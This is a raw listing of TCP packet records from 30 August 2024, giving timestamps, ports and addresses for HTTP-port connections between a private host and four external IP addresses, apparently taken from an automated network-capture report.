Aug 30, 2024 03:17:07.229393005 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229403973 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229428053 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229438066 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229439020 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229449987 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229460001 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.229463100 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229476929 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.229504108 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.230348110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.230359077 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.230367899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.230395079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.230396986 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.230406046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.230417013 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.230423927 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.230433941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.230443001 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.230446100 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.230468035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.230480909 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.230952024 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.230995893 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.231021881 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.231031895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.231048107 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.231060028 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.231065035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.231075048 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.231081963 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.231091022 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.231092930 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.231116056 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.231120110 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.231148005 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.231172085 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.232711077 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.232721090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.232729912 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.232769966 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.232801914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.232804060 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.232804060 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.232814074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.232825041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.232845068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.232867002 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.232944012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.232954979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.232964993 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.232975960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.232986927 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.232995987 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.232997894 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.232997894 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.233011961 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233017921 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233032942 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233038902 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233045101 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.233061075 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233074903 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233091116 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.233208895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233218908 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233234882 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233244896 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233249903 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233268023 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233269930 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233278990 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233283043 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233289003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233297110 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233299971 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233315945 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233329058 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233333111 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233357906 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233370066 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233380079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233390093 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233397007 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233408928 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233423948 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233447075 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233458996 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233467102 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233490944 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233494043 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233501911 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233517885 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233532906 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233545065 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233546972 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233566046 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233570099 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233587027 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233592033 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233597994 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233611107 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233623981 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233637094 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233678102 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233719110 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233735085 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233746052 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233756065 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233773947 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233777046 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233798027 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233807087 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233845949 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233855009 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233864069 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233875990 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233891010 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233901024 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233916998 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233927011 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233937025 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233947039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233958006 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233968973 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.233972073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.233997107 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.234004974 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.234020948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.234278917 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234288931 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234297991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234322071 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234323025 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.234323978 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234333992 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234345913 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234357119 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234369040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234371901 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234379053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234390020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234394073 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234400988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234411955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234420061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234443903 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234497070 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234508038 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234534979 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234543085 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234558105 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234569073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234570980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234579086 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234590054 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234594107 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234600067 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234606981 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234620094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234632969 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234637022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234647989 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234656096 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234657049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234671116 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234677076 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234693050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234697104 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234704971 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234716892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234716892 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234728098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234739065 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234746933 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234766960 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234771013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234780073 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234783888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234795094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234805107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234808922 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234816074 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234832048 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234838009 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234858036 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234869003 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234879017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234889030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234899044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234903097 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234910011 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234920025 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234920979 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234935999 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234956980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234960079 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.234968901 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234981060 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234991074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.234997034 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.235002995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235013962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235016108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.235038996 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.235063076 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.235153913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235165119 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235173941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235196114 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.235207081 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.235234976 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235276937 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.235308886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235326052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235336065 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235347033 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.235363007 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.235385895 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.236778021 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.236789942 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.236799002 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.236836910 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.236855030 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.236887932 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.236897945 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.236907959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.236918926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.236928940 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.236948967 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.257991076 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.258023977 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.258035898 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.258047104 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.258058071 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.258074045 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.258085966 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.258107901 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.258151054 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.260101080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260174036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260190010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260226011 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.260246992 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260250092 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.260258913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260272026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260282993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260298014 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.260322094 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.260355949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260366917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260376930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260387897 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260397911 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.260399103 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260406971 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.260415077 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260436058 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.260436058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260451078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.260457993 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.260483980 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.260494947 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.270618916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270628929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270638943 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270694971 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270709991 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270720959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270730972 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270742893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270752907 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270767927 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270790100 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270819902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270829916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270845890 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270853043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270855904 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270870924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270874023 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270881891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270891905 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270899057 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270917892 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270922899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270934105 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270936966 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270944118 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.270956993 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.270971060 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271027088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271037102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271048069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271054983 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271059036 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271080971 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271104097 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271161079 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271171093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271181107 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271193981 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271198988 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271203995 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271213055 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271219969 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271235943 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271236897 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271246910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271255016 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271259069 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271266937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271276951 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271300077 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271310091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271321058 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271332026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271342993 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271348953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271352053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271364927 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271384001 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271455050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271466017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271475077 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271487951 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271492004 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271498919 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271509886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.271517038 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.271521091 CEST	80	49734	147.45.44.104	192.168.2.4
